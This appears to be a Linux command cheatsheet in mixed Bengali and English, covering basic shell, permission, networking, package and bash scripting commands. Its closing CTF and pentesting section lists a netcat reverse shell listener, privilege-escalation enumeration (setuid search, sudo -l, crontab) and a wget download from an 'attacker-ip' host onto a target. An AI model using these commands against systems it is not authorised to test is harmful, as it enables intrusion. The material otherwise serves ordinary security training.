Linux Cheatsheet

এই page-এ Linux Fundamentals section-এর সব গুরুত্বপূর্ণ commands এক জায়গায় আছে। প্রতিটা command-এর বিস্তারিত explanation সংশ্লিষ্ট section-এ পাবে। এটি শুধু quick reference হিসেবে ব্যবহার করো।

Terminal Basics

Terminal


# Navigation
pwd                    # বর্তমান directory দেখো
ls                     # files list
ls -la                 # hidden files সহ, বিস্তারিত
cd /path/to/dir        # directory পরিবর্তন
cd ..                  # এক ধাপ উপরে
cd ~                   # home directory
 
# File Operations
touch file.txt         # file তৈরি
mkdir folder           # folder তৈরি
mkdir -p a/b/c         # nested folder তৈরি
cp source dest         # copy
cp -r dir/ dest/       # directory recursive copy
mv source dest         # move বা rename
rm file.txt            # file মুছো
rm -rf folder/         # directory সব কিছু সহ মুছো

File System

Terminal


# Permissions দেখো
ls -la file.txt
# -rwxr-xr-- 1 omar developers 1024 Apr 10 file.txt
 
# chmod — symbolic
chmod u+x script.sh    # owner-কে execute দাও
chmod g+w file.txt     # group-কে write দাও
chmod o-r file.txt     # others থেকে read সরাও
chmod a=r file.txt     # সবাইকে read-only
 
# chmod — numeric
chmod 755 script.sh    # rwxr-xr-x
chmod 644 file.txt     # rw-r--r--
chmod 600 secret.key   # rw-------
chmod 770 project/     # rwxrwx---
 
# Special permissions
chmod u+s program      # setuid
chmod g+s folder/      # setgid
chmod +t shared/       # sticky bit
chmod 4755 program     # setuid numeric
chmod 2770 folder/     # setgid numeric
chmod 1777 shared/     # sticky bit numeric
 
# chown
sudo chown omar file.txt           # owner পরিবর্তন
sudo chown omar:devs file.txt      # owner + group
sudo chown :devs file.txt          # শুধু group
sudo chown -R omar:devs project/   # recursive

Text Manipulation

Terminal


# File পড়া
cat file.txt            # পুরো file print করো
less file.txt           # scrollable view (q দিয়ে বের হও)
head -n 20 file.txt     # প্রথম ২০ line
tail -n 20 file.txt     # শেষ ২০ line
tail -f log.txt         # live update দেখো
 
# Searching
grep "pattern" file.txt          # pattern খোঁজো
grep -i "pattern" file.txt       # case-insensitive
grep -r "pattern" /dir/          # recursive
grep -n "pattern" file.txt       # line number সহ
grep -v "pattern" file.txt       # pattern বাদে সব
grep -E "pat1|pat2" file.txt     # multiple patterns
 
# find
find /path -name "*.txt"           # name দিয়ে খোঁজো
find /path -type f -name "*.sh"    # শুধু file
find /path -type d                 # শুধু directory
find /path -perm -4000             # setuid files
find /path -perm -0002 -type f     # world-writable files
find /path -writable -type f       # আমি লিখতে পারি
 
# Text processing
cat file.txt | sort                # sort করো
cat file.txt | uniq                # duplicate সরাও
cat file.txt | wc -l               # line count
cut -d":" -f1 /etc/passwd          # field বের করো
awk '{print $1}' file.txt          # column বের করো
sed 's/old/new/g' file.txt         # replace করো

Users & Permissions

Terminal


# User info
whoami                 # বর্তমান user
id                     # UID, GID, groups
id omar                # নির্দিষ্ট user-এর info
groups                 # আমার groups
 
# User management
sudo useradd -m omar              # user তৈরি
sudo passwd omar                  # password set
sudo usermod -aG devs omar        # group-এ যোগ
sudo userdel omar                 # user মুছো
sudo userdel -r omar              # home folder সহ মুছো
 
# sudo
sudo command           # root হিসেবে command
sudo -l                # আমার sudo permissions
sudo -i                # root shell
sudo visudo            # sudoers edit
 
# su
su -                   # root-এ switch
su - omar              # নির্দিষ্ট user-এ switch
 
# Sensitive files
cat /etc/passwd        # user list
sudo cat /etc/shadow   # password hashes (root only)
cat /etc/group         # group list

Processes

Terminal


# Process দেখো
ps aux                 # সব processes
ps aux | grep nginx    # নির্দিষ্ট process খোঁজো
ps auxf                # tree format
top                    # live monitor
htop                   # better live monitor (install করতে হয়)
 
# Process খোঁজা
pgrep nginx            # name দিয়ে PID
pgrep -a python3       # PID + full command
pstree -p              # process tree
 
# Kill
kill 1234              # SIGTERM (graceful)
kill -9 1234           # SIGKILL (force)
kill -HUP 1234         # SIGHUP (reload config)
pkill nginx            # name দিয়ে kill
pkill -9 firefox       # name দিয়ে force kill
killall nginx          # সব instance kill
 
# Background jobs
command &              # background-এ চালাও
jobs                   # background jobs দেখো
fg %1                  # foreground-এ আনো
bg %1                  # background-এ চালাও
Ctrl+Z                 # pause করো
Ctrl+C                 # cancel করো
nohup command &        # terminal বন্ধ হলেও চালু রাখো

Networking

Terminal


# IP এবং interface
ip a                           # সব interfaces
ip a show eth0                 # নির্দিষ্ট interface
ip r                           # routing table
ifconfig                       # পুরনো alternative
hostname -I                    # IP address
 
# Connectivity
ping -c 4 target               # 4টা ping
ping -c 1 -W 1 target          # 1 packet, 1s timeout
traceroute target              # route দেখো
 
# DNS
nslookup google.com            # domain → IP
dig google.com                 # detailed DNS
dig +short google.com          # শুধু IP
dig google.com MX              # mail servers
dig -x 8.8.8.8                 # reverse lookup
 
# Ports ও Services
ss -tlnp                       # listening TCP ports
ss -ulnp                       # listening UDP ports
ss -tanp                       # সব connections
ss -tlnp | grep :80            # নির্দিষ্ট port
netstat -tlnp                  # পুরনো alternative
sudo lsof -i :80               # port 80 কোন process
 
# curl
curl https://example.com                    # GET request
curl -I https://example.com                 # শুধু headers
curl -i https://example.com                 # headers + body
curl -o file.html https://example.com       # file-এ save
curl -L https://url.com                     # redirect follow
curl -X POST url -H "Content-Type: application/json" -d '{"key":"val"}'
curl -s -o /dev/null -w "%{http_code}" url  # status code only
curl -k https://url.com                     # SSL ignore
curl -v https://url.com                     # verbose
 
# wget
wget https://example.com/file.zip          # download
wget -O name.zip https://url/file.zip      # নাম দিয়ে save
wget -c https://url/file.zip               # resume
wget -b https://url/file.zip               # background
 
# Netcat
nc -zv target 22               # port check
nc -lvnp 4444                  # listener চালাও
nc target 4444                 # connect করো
nc -lvnp 4444 > file.txt       # file receive
nc target 4444 < file.txt      # file send
 
# /etc/hosts
echo "10.10.10.10 target.thm" | sudo tee -a /etc/hosts

Package Management

Terminal


# apt
sudo apt update                          # package list refresh
sudo apt upgrade                         # সব packages update
sudo apt install nmap                    # install
sudo apt install -y nmap curl wget       # prompt ছাড়া
sudo apt remove nmap                     # remove (config রাখে)
sudo apt purge nmap                      # সব মুছো
sudo apt autoremove                      # orphan packages
apt search "network scanner"             # package খোঁজো
apt show nmap                            # package info
apt list --installed                     # installed list
apt list --upgradeable                   # upgrade available
 
# dpkg
sudo dpkg -i package.deb                # .deb install
sudo dpkg -r package-name               # remove
sudo dpkg -P package-name               # purge
dpkg -l                                 # সব installed
dpkg -l | grep nginx                    # নির্দিষ্ট খোঁজো
dpkg -s nmap                            # status দেখো
dpkg -L nmap                            # কোন files কোথায়
dpkg -S /usr/bin/nmap                   # কোন package install করেছে
sudo apt install -f                     # broken dependency fix

Bash Scripting

Terminal


# Script তৈরি ও run করো
nano script.sh
chmod +x script.sh
./script.sh
bash script.sh

script.sh


#!/bin/bash
 
# Variables
name="Omar"
ip=$(hostname -I | awk '{print $1}')
 
# Input
read -p "Target: " target
 
# Condition
if [ $# -eq 0 ]; then
  echo "Usage: $0 <arg>"
  exit 1
fi
 
if [ -f "/etc/passwd" ]; then
  echo "File exists"
fi
 
# Loops
for i in {1..10}; do
  echo $i
done
 
for host in {1..254}; do
  ping -c 1 -W 1 192.168.1.$host &>/dev/null && echo "alive"
done
 
while read -r line; do
  echo $line
done < wordlist.txt
 
# Exit code
command
if [ $? -eq 0 ]; then
  echo "Success"
fi
 
# Arguments
echo $0   # script নাম
echo $1   # 1st argument
echo $#   # argument count
echo $@   # সব arguments

CyberSec Quick Commands

CTF এবং Pentesting-এ সবচেয়ে বেশি ব্যবহৃত commands:

Terminal


# Initial recon
ip a                           # নিজের IP (tun0 = VPN)
ping -c 3 target               # alive? TTL দেখো OS guess করো
nmap -sV target                # open ports + versions
nmap -sC -sV -p- target        # full scan
 
# Web recon
curl -I http://target          # server info
curl http://target/robots.txt  # hidden paths
gobuster dir -u http://target -w /usr/share/wordlists/dirb/common.txt
 
# Privilege escalation check
sudo -l                        # sudo permissions
find / -perm -4000 -type f 2>/dev/null  # setuid files
find / -perm -0002 -type f 2>/dev/null  # world-writable
cat /etc/crontab               # scheduled tasks
dpkg -l | grep -i "apache\|php\|mysql"  # installed versions
 
# Netcat reverse shell listener
nc -lvnp 4444
 
# File transfer
# Attacker machine:
python3 -m http.server 8000
# Target machine:
wget http://attacker-ip:8000/file.sh
 
# GTFOBins — sudo binary exploit
# → gtfobins.github.io

পরবর্তী → Linux Fundamentals Overview